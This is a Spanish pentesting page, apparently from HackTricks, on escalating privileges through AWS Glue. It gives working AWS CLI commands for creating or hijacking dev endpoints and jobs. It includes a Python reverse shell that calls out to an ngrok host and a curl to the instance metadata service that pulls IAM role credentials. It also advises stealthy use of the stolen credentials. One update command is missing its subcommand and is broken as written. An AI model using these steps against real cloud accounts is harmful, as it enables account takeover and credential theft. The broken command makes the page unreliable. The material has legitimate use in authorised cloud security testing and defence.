AWS - Glue Privesc

Aprende hacking en AWS desde cero hasta experto con htARTE (Experto en Red Team de HackTricks en AWS)!

Otras formas de apoyar a HackTricks:

glue

iam:PassRole, glue:CreateDevEndpoint, (glue:GetDevEndpoint | glue:GetDevEndpoints)

Los usuarios con estos permisos pueden configurar un nuevo punto de desarrollo de AWS Glue, asignando un rol de servicio existente asumible por Glue con permisos específicos a este punto de desarrollo.

Después de la configuración, el atacante puede conectarse por SSH al instancia del punto de desarrollo, y robar las credenciales IAM del rol asignado:

# Create endpoint
aws glue create-dev-endpoint --endpoint-name <endpoint-name> \
--role-arn <arn-role> \
--public-key file:///ssh/key.pub

# Get the public address of the instance
## You could also use get-dev-endpoints
aws glue get-dev-endpoint --endpoint-name privesctest

# SSH with the glue user
ssh -i /tmp/private.key ec2-54-72-118-58.eu-west-1.compute.amazonaws.com

Para fines de sigilo, se recomienda utilizar las credenciales IAM desde dentro de la máquina virtual de Glue.

Impacto potencial: Escalada de privilegios al rol de servicio de Glue especificado.

glue:UpdateDevEndpoint, (glue:GetDevEndpoint | glue:GetDevEndpoints)

Los usuarios con este permiso pueden modificar un punto de conexión de desarrollo de Glue existente, cambiando la clave SSH, habilitando el acceso SSH a este. Esto permite al atacante ejecutar comandos con los privilegios del rol adjunto al punto de conexión:

# Change public key to connect
aws glue --endpoint-name target_endpoint \
--public-key file:///ssh/key.pub

# Get the public address of the instance
## You could also use get-dev-endpoints
aws glue get-dev-endpoint --endpoint-name privesctest

# SSH with the glue user
ssh -i /tmp/private.key ec2-54-72-118-58.eu-west-1.compute.amazonaws.com

Impacto Potencial: Escalada de privilegios al rol de servicio de Glue utilizado.

iam:PassRole, (glue:CreateJob | glue:UpdateJob), (glue:StartJobRun | glue:CreateTrigger)

Los usuarios con iam:PassRole combinado con glue:CreateJob o glue:UpdateJob, y ya sea glue:StartJobRun o glue:CreateTrigger pueden crear o actualizar un trabajo de AWS Glue, adjuntando cualquier cuenta de servicio de Glue, e iniciar la ejecución del trabajo. Las capacidades del trabajo incluyen ejecutar código Python arbitrario, que puede ser explotado para establecer un shell inverso. Este shell inverso luego se puede utilizar para extraer las credenciales IAM del rol adjunto al trabajo de Glue, lo que lleva a un posible acceso no autorizado o acciones basadas en los permisos de ese rol:

# Content of the python script saved in s3:
#import socket,subprocess,os
#s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
#s.connect(("2.tcp.ngrok.io",11216))
#os.dup2(s.fileno(),0)
#os.dup2(s.fileno(),1)
#os.dup2(s.fileno(),2)
#p=subprocess.call(["/bin/sh","-i"])
#To get the IAM Role creds run: curl http://169.254.169.254/latest/meta-data/iam/security-credentials/dummy


# A Glue role with admin access was created
aws glue create-job \
--name privesctest \
--role arn:aws:iam::93424712358:role/GlueAdmin \
--command '{"Name":"pythonshell", "PythonVersion": "3", "ScriptLocation":"s3://airflow2123/rev.py"}'

# You can directly start the job
aws glue start-job-run --job-name privesctest
# Or you can create a trigger to start it
aws glue create-trigger --name triggerprivesc --type SCHEDULED \
--actions '[{"JobName": "privesctest"}]' --start-on-creation \
--schedule "0/5 * * * * *"  #Every 5mins, feel free to change

Impacto Potencial: Escalada de privilegios al rol de servicio de glue especificado.

glue:UpdateJob

Solo con el permiso de actualización, un atacante podría robar las Credenciales IAM del rol ya adjunto.

Impacto Potencial: Escalada de privilegios al rol de servicio de glue adjunto.

Referencias

Aprende hacking en AWS de cero a héroe con htARTE (HackTricks AWS Red Team Expert)!

Otras formas de apoyar a HackTricks:

Última actualización